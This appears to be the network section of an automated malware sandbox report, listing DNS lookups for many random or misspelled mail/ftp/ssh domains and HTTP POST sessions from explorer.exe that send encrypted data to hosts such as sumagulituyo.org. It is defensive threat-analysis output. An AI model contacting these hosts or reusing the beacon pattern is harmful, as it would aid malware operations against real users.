Dec 2, 2023 18:04:40.832313061 CET	1.1.1.1	192.168.2.7	0x56d	Name error (3)	mail.hldxxjgzeopbcgaagmail.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.839395046 CET	1.1.1.1	192.168.2.7	0x9547	Name error (3)	ftp.parisienne-moonlight.net	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.842302084 CET	1.1.1.1	192.168.2.7	0xcc13	Name error (3)	ftp.egddtd.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.843894958 CET	1.1.1.1	192.168.2.7	0xdf76	Name error (3)	mail.mailchme.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.844588041 CET	1.1.1.1	192.168.2.7	0x4093	Name error (3)	mail.omdhggzx.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.849131107 CET	1.1.1.1	192.168.2.7	0x69f9	Name error (3)	ssh.hldxxjgzeopbcgaagmail.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.856405020 CET	1.1.1.1	192.168.2.7	0x882c	Name error (3)	ftp.msnal.net	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.887423038 CET	1.1.1.1	192.168.2.7	0x2723	Name error (3)	ftp.gotcf.net	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.908294916 CET	1.1.1.1	192.168.2.7	0x83ac	Name error (3)	imap.yekai.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.908312082 CET	1.1.1.1	192.168.2.7	0x83ac	Name error (3)	imap.yekai.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.914041996 CET	1.1.1.1	192.168.2.7	0xabe4	Name error (3)	ftp.axtkmooehtnfekmooefv.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.925280094 CET	1.1.1.1	192.168.2.7	0xfaf9	Name error (3)	ftp.enchanteddesignsanmore.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.925321102 CET	1.1.1.1	192.168.2.7	0x59cb	Name error (3)	pop3.enchanteddesignsanmore.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.930347919 CET	1.1.1.1	192.168.2.7	0xb89c	Name error (3)	ssh.parisienne-moonlight.net	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.994692087 CET	1.1.1.1	192.168.2.7	0x3532	Name error (3)	mail.ldrshipcoach.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.996473074 CET	1.1.1.1	192.168.2.7	0x6246	Name error (3)	mail.luminous-path.de	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.997987032 CET	1.1.1.1	192.168.2.7	0xa8ea	Name error (3)	mail.knpzwm.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.998270035 CET	1.1.1.1	192.168.2.7	0xf1f9	Name error (3)	mail.reqifgccowel.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:41.001565933 CET	1.1.1.1	192.168.2.7	0xa8e3	Name error (3)	mail.egddtd.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:41.001965046 CET	1.1.1.1	192.168.2.7	0x6edf	Name error (3)	mail.dieihuyz.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:41.007263899 CET	1.1.1.1	192.168.2.7	0x36c8	Name error (3)	ssh.axtkmooehtnfekmooefv.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:41.016525984 CET	1.1.1.1	192.168.2.7	0xa625	Name error (3)	mail.axtkmooehtnfekmooefv.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:41.016910076 CET	1.1.1.1	192.168.2.7	0x17b1	No error (0)	weiberg.jimdo.com	web.jimdo.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2023 18:04:41.016910076 CET	1.1.1.1	192.168.2.7	0x17b1	No error (0)	web.jimdo.com	web-hp.prod.jimdo.systems		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2023 18:04:41.016910076 CET	1.1.1.1	192.168.2.7	0x17b1	No error (0)	web-hp.prod.jimdo.systems		34.240.130.5	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:41.016910076 CET	1.1.1.1	192.168.2.7	0x17b1	No error (0)	web-hp.prod.jimdo.systems		34.251.197.140	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:41.016910076 CET	1.1.1.1	192.168.2.7	0x17b1	No error (0)	web-hp.prod.jimdo.systems		99.81.150.60	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:41.020109892 CET	1.1.1.1	192.168.2.7	0x9115	No error (0)	www.creativepursuitsco.com		64.225.24.72	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:41.125184059 CET	1.1.1.1	192.168.2.7	0xfea2	Name error (3)	ssh.xfuainui.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:41.179816961 CET	1.1.1.1	192.168.2.7	0xc474	Name error (3)	mail.tkzttitrygbx.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:41.305147886 CET	1.1.1.1	192.168.2.7	0xaea5	Name error (3)	ssh.yah0o.es	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:41.382941961 CET	1.1.1.1	192.168.2.7	0xf2c2	Name error (3)	ssh.ldrshipcoach.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:41.387312889 CET	1.1.1.1	192.168.2.7	0x8190	Name error (3)	pop3.giannicastellani.it	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:41.387330055 CET	1.1.1.1	192.168.2.7	0x8190	Name error (3)	pop3.giannicastellani.it	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:41.424284935 CET	1.1.1.1	192.168.2.7	0x8db8	Name error (3)	ftp.yeehop.com.hk	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:41.452619076 CET	1.1.1.1	192.168.2.7	0x3a7c	Name error (3)	mail.jqpgnp.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:41.457987070 CET	1.1.1.1	192.168.2.7	0x971	Name error (3)	ssh.reqifgccowel.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:41.459765911 CET	1.1.1.1	192.168.2.7	0x8b83	No error (0)	www.zlig.com	zlig.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2023 18:04:41.459765911 CET	1.1.1.1	192.168.2.7	0x8b83	No error (0)	zlig.com		148.72.77.90	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:41.510364056 CET	1.1.1.1	192.168.2.7	0x8db8	Name error (3)	ftp.yeehop.com.hk	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:41.638274908 CET	1.1.1.1	192.168.2.7	0xc2f7	Name error (3)	pop3.takin-co.ir	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:41.648957014 CET	1.1.1.1	192.168.2.7	0x968b	Name error (3)	ssh.enchanteddesignsanmore.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:41.653151989 CET	1.1.1.1	192.168.2.7	0x47fd	Name error (3)	ssh.egddtd.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:41.988197088 CET	1.1.1.1	192.168.2.7	0x1eb5	Name error (3)	pop.yabeetowel.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.014957905 CET	1.1.1.1	192.168.2.7	0x2b27	Name error (3)	ssh.jqpgnp.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.106564045 CET	1.1.1.1	192.168.2.7	0x1eb5	Name error (3)	pop.yabeetowel.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.172259092 CET	1.1.1.1	192.168.2.7	0xac28	Name error (3)	ssh.msnal.net	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.335720062 CET	1.1.1.1	192.168.2.7	0x5b95	Name error (3)	pop3.lsacwbij.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.358006954 CET	1.1.1.1	192.168.2.7	0x15e9	Name error (3)	smtp.yah0o.es	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.362741947 CET	1.1.1.1	192.168.2.7	0x4278	Name error (3)	ssh.knpzwm.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.382989883 CET	1.1.1.1	192.168.2.7	0x4ba4	Name error (3)	ssh.gotcf.net	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.390592098 CET	1.1.1.1	192.168.2.7	0x4ca8	Name error (3)	luminous-path.de	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.390804052 CET	1.1.1.1	192.168.2.7	0xf720	Name error (3)	mail.msnal.net	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.391894102 CET	1.1.1.1	192.168.2.7	0xdd14	Name error (3)	tkzttitrygbx.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.397608995 CET	1.1.1.1	192.168.2.7	0xc3f	Name error (3)	egddtd.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.474860907 CET	1.1.1.1	192.168.2.7	0xa567	Name error (3)	ssh.luminous-path.de	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.491440058 CET	1.1.1.1	192.168.2.7	0x9b5f	Name error (3)	parisienne-moonlight.net	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.492115021 CET	1.1.1.1	192.168.2.7	0x1964	Name error (3)	msnal.net	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.492213964 CET	1.1.1.1	192.168.2.7	0xc5d5	Name error (3)	enchanteddesignsanmore.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.492480993 CET	1.1.1.1	192.168.2.7	0x1c35	Name error (3)	dieihuyz.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.492731094 CET	1.1.1.1	192.168.2.7	0x2e27	Name error (3)	hldxxjgzeopbcgaagmail.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.492883921 CET	1.1.1.1	192.168.2.7	0x5fcf	Name error (3)	reqifgccowel.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.494752884 CET	1.1.1.1	192.168.2.7	0x8a6f	Name error (3)	jqpgnp.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.502598047 CET	1.1.1.1	192.168.2.7	0x4a3e	Name error (3)	mail.xfuainui.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.539426088 CET	1.1.1.1	192.168.2.7	0x83fe	Name error (3)	imap.lsacwbij.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.548012018 CET	1.1.1.1	192.168.2.7	0x9d50	Name error (3)	ftp.luminous-path.de	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.550844908 CET	1.1.1.1	192.168.2.7	0x6d0d	Name error (3)	ldrshipcoach.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.555924892 CET	1.1.1.1	192.168.2.7	0x633d	Name error (3)	pop3.xfuainui.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.556395054 CET	1.1.1.1	192.168.2.7	0xb3fa	Name error (3)	xfuainui.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.558785915 CET	1.1.1.1	192.168.2.7	0x9a29	Name error (3)	omdhggzx.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.579360008 CET	1.1.1.1	192.168.2.7	0xaa	Name error (3)	knpzwm.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.616282940 CET	1.1.1.1	192.168.2.7	0x271e	No error (0)	weiberg.jimdofree.com	web.jimdo.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2023 18:04:42.616282940 CET	1.1.1.1	192.168.2.7	0x271e	No error (0)	web.jimdo.com	web-hp.prod.jimdo.systems		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2023 18:04:42.616282940 CET	1.1.1.1	192.168.2.7	0x271e	No error (0)	web-hp.prod.jimdo.systems		34.251.197.140	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.616282940 CET	1.1.1.1	192.168.2.7	0x271e	No error (0)	web-hp.prod.jimdo.systems		34.240.130.5	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.616282940 CET	1.1.1.1	192.168.2.7	0x271e	No error (0)	web-hp.prod.jimdo.systems		99.81.150.60	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.634367943 CET	1.1.1.1	192.168.2.7	0x53b4	Name error (3)	lsacwbij.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.663923025 CET	1.1.1.1	192.168.2.7	0x7cfe	Name error (3)	mailchme.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.681734085 CET	1.1.1.1	192.168.2.7	0xa2fc	Name error (3)	relay.takin-co.ir	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.740509987 CET	1.1.1.1	192.168.2.7	0x6acc	Name error (3)	axtkmooehtnfekmooefv.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.744992018 CET	1.1.1.1	192.168.2.7	0x695f	Name error (3)	yah0o.es	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.944376945 CET	1.1.1.1	192.168.2.7	0xd860	Name error (3)	mailgate.parisienne-moonlight.net	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.950268030 CET	1.1.1.1	192.168.2.7	0xe261	Name error (3)	mailgate.maksimp.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:42.960356951 CET	1.1.1.1	192.168.2.7	0xa7c7	Name error (3)	ssh.yeehop.com.hk	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.007612944 CET	1.1.1.1	192.168.2.7	0x6e99	Name error (3)	relay.yekai.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.094827890 CET	1.1.1.1	192.168.2.7	0x3eb6	Name error (3)	relay.maksimp.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.203828096 CET	1.1.1.1	192.168.2.7	0x560f	Name error (3)	ftp.kfysyscc.org	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.203840017 CET	1.1.1.1	192.168.2.7	0x560f	Name error (3)	ftp.kfysyscc.org	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.203871012 CET	1.1.1.1	192.168.2.7	0x560f	Name error (3)	ftp.kfysyscc.org	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.218884945 CET	1.1.1.1	192.168.2.7	0x13c8	Name error (3)	pop.hldxxjgzeopbcgaagmail.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.230576992 CET	1.1.1.1	192.168.2.7	0x7cda	Name error (3)	imap.msnal.net	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.232023001 CET	1.1.1.1	192.168.2.7	0xbe47	Name error (3)	pop.omdhggzx.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.232955933 CET	1.1.1.1	192.168.2.7	0x9bd4	Name error (3)	pop.mailchme.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.285006046 CET	1.1.1.1	192.168.2.7	0xdad2	Name error (3)	pop.parisienne-moonlight.net	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.301871061 CET	1.1.1.1	192.168.2.7	0xe6c6	Name error (3)	mail.kfysyscc.org	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.301887035 CET	1.1.1.1	192.168.2.7	0xe6c6	Name error (3)	mail.kfysyscc.org	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.358799934 CET	1.1.1.1	192.168.2.7	0x907a	Name error (3)	pop3.maksimp.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.395817041 CET	1.1.1.1	192.168.2.7	0x947f	No error (0)	mail.gatewaytogames.com		35.227.197.36	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.407902956 CET	1.1.1.1	192.168.2.7	0x1bd9	Name error (3)	ssh.mailchme.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.480643034 CET	1.1.1.1	192.168.2.7	0x55ab	Name error (3)	mail.lsacwbij.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.485295057 CET	1.1.1.1	192.168.2.7	0x3f76	Name error (3)	pop.tkzttitrygbx.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.487092972 CET	1.1.1.1	192.168.2.7	0x9563	Name error (3)	pop.egddtd.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.488168001 CET	1.1.1.1	192.168.2.7	0x4f12	Name error (3)	pop.enchanteddesignsanmore.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.512190104 CET	1.1.1.1	192.168.2.7	0xf273	Name error (3)	ssh.tkzttitrygbx.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.541923046 CET	1.1.1.1	192.168.2.7	0x3090	Name error (3)	pop.msnal.net	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.567779064 CET	1.1.1.1	192.168.2.7	0x16da	Name error (3)	pop.luminous-path.de	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.571010113 CET	1.1.1.1	192.168.2.7	0x7246	Name error (3)	mailgate.takin-co.ir	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.590589046 CET	1.1.1.1	192.168.2.7	0x3b78	Name error (3)	pop.dieihuyz.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.593174934 CET	1.1.1.1	192.168.2.7	0x5603	Name error (3)	ssh.kfysyscc.org	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.593190908 CET	1.1.1.1	192.168.2.7	0x5603	Name error (3)	ssh.kfysyscc.org	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.594703913 CET	1.1.1.1	192.168.2.7	0xf2cd	Name error (3)	mailgate.enchanteddesignsanmore.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.601294994 CET	1.1.1.1	192.168.2.7	0x75b3	Name error (3)	pop.knpzwm.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.690289974 CET	1.1.1.1	192.168.2.7	0x766e	Name error (3)	pop.axtkmooehtnfekmooefv.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.699302912 CET	1.1.1.1	192.168.2.7	0xc4d4	Name error (3)	mail.yah0o.es	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.703039885 CET	1.1.1.1	192.168.2.7	0x880a	Name error (3)	mail.enchanteddesignsanmore.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.757392883 CET	1.1.1.1	192.168.2.7	0x4f2e	Name error (3)	pop.reqifgccowel.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.828008890 CET	1.1.1.1	192.168.2.7	0x4f79	Name error (3)	pop.ldrshipcoach.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.852185011 CET	1.1.1.1	192.168.2.7	0x6df5	Name error (3)	mailgate.giannicastellani.it	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.969657898 CET	1.1.1.1	192.168.2.7	0x96aa	No error (0)	creativepursuitsco.com		64.225.24.72	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:43.998197079 CET	1.1.1.1	192.168.2.7	0xe68f	Name error (3)	pop.jqpgnp.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:44.028615952 CET	1.1.1.1	192.168.2.7	0x5341	Name error (3)	imap.hldxxjgzeopbcgaagmail.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:44.127353907 CET	1.1.1.1	192.168.2.7	0x830e	Name error (3)	smtp.yekai.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:44.127393007 CET	1.1.1.1	192.168.2.7	0x830e	Name error (3)	smtp.yekai.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:44.258214951 CET	1.1.1.1	192.168.2.7	0x30dd	Name error (3)	pop3.donankohatsu.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:44.536282063 CET	1.1.1.1	192.168.2.7	0x691d	Name error (3)	mailgate.lsacwbij.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:44.579005957 CET	1.1.1.1	192.168.2.7	0xb6ea	Name error (3)	pop.yah0o.es	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:44.588330984 CET	1.1.1.1	192.168.2.7	0xcc69	Name error (3)	pop3.yabeetowel.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:44.845346928 CET	1.1.1.1	192.168.2.7	0x4a99	Name error (3)	imap.parisienne-moonlight.net	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:44.921482086 CET	1.1.1.1	192.168.2.7	0x7d63	Name error (3)	mailgate.xfuainui.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:44.931732893 CET	1.1.1.1	192.168.2.7	0xa2e2	Name error (3)	mailgate.yekai.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:44.932086945 CET	1.1.1.1	192.168.2.7	0xa2e2	Name error (3)	mailgate.yekai.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:44.942975044 CET	1.1.1.1	192.168.2.7	0xc93e	Name error (3)	imap.egddtd.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:44.943814039 CET	1.1.1.1	192.168.2.7	0x50ab	Name error (3)	imap.omdhggzx.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:45.751564980 CET	1.1.1.1	192.168.2.7	0xb58c	Name error (3)	kfysyscc.org	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:45.751600027 CET	1.1.1.1	192.168.2.7	0xb58c	Name error (3)	kfysyscc.org	none	none	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49709	34.94.245.237	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:01:30.584939957 CET	329	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jswfkhglytwtow.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 318 Host: sumagulituyo.org
Dec 2, 2023 18:01:30.584981918 CET	372	OUT	Data Raw: 48 9d f9 bc 49 64 57 25 2a 72 57 23 0f aa 51 bc 59 6b 9f 13 89 19 ab df b7 60 a6 f7 77 85 d4 94 8e ad 8b b2 73 35 92 c2 d5 29 6a 72 9e 8b f7 15 99 4a 2d 4a 2d d6 78 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 88 e6 20 cd Data Ascii: HIdW%*rW#QYk`ws5)jrJ-J-x}f=B!bO 1q:WR<m]@1.}bZRIm-C&fHx7FIo78\Eh'j<0C-]"b_Nk]/rl2p;yLY
Dec 2, 2023 18:01:30.811456919 CET	472	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 02 Dec 2023 17:01:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=8adb83463290ff10daae82c89d82a862\|149.18.24.110\|1701536490\|1701536490\|0\|1\|0; path=/; domain=.sumagulituyo.org; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=149.18.24.110; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49710	104.198.2.251	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:01:33.128868103 CET	327	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://oondofdrssj.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 362 Host: snukerukeutit.org
Dec 2, 2023 18:01:33.128904104 CET	416	OUT	Data Raw: 48 9d f9 bc 49 64 57 25 2a 72 57 23 0f aa 51 bc 59 6b 9f 13 89 19 ab df b7 60 a6 f7 77 85 d4 94 8e ad 8b b2 73 35 92 c2 d5 29 6a 72 9e 8b f7 15 99 4a 2d 4a 2d d6 78 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 95 f9 0b ac Data Ascii: HIdW%rW#QYk`ws5)jrJ-J-x}f=B!bO~$uZDUZ1z`11!r-7$Pa_<r ]Prdy9>[t&lu0z6,c]~sG)2xqfO"O
Dec 2, 2023 18:01:33.352214098 CET	473	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 02 Dec 2023 17:01:33 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=45ac8a92aa28c035064c3ce7e45a2190\|149.18.24.110\|1701536493\|1701536493\|0\|1\|0; path=/; domain=.snukerukeutit.org; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=149.18.24.110; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49711	34.143.166.163	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:01:34.605372906 CET	332	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vrbljbibseabh.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 329 Host: lightseinsteniki.org
Dec 2, 2023 18:01:34.605401993 CET	383	OUT	Data Raw: 48 9d f9 bc 49 64 57 25 2a 72 57 23 0f aa 51 bc 59 6b 9f 13 89 19 ab df b7 60 a6 f7 77 85 d4 94 8e ad 8b b2 73 35 92 c2 d5 29 6a 72 9e 8b f7 15 99 4a 2d 4a 2d d6 78 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 e1 a5 28 fb Data Ascii: HIdW%*rW#QYk`ws5)jrJ-J-x}f=B!bO(dpjdt!!>[+D%2cxQ}}V#B/?0wFMXiV<Xjg+_2v@QI`TtS}-Y;<soL
Dec 2, 2023 18:01:35.147260904 CET	476	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 02 Dec 2023 17:01:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=bb0ba07d8b158567e05627c81d660394\|149.18.24.110\|1701536494\|1701536494\|0\|1\|0; path=/; domain=.lightseinsteniki.org; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=149.18.24.110; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49712	34.143.166.163	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:01:38.090950966 CET	328	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vmuckuoionwjc.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 119 Host: liuliuoumumy.org
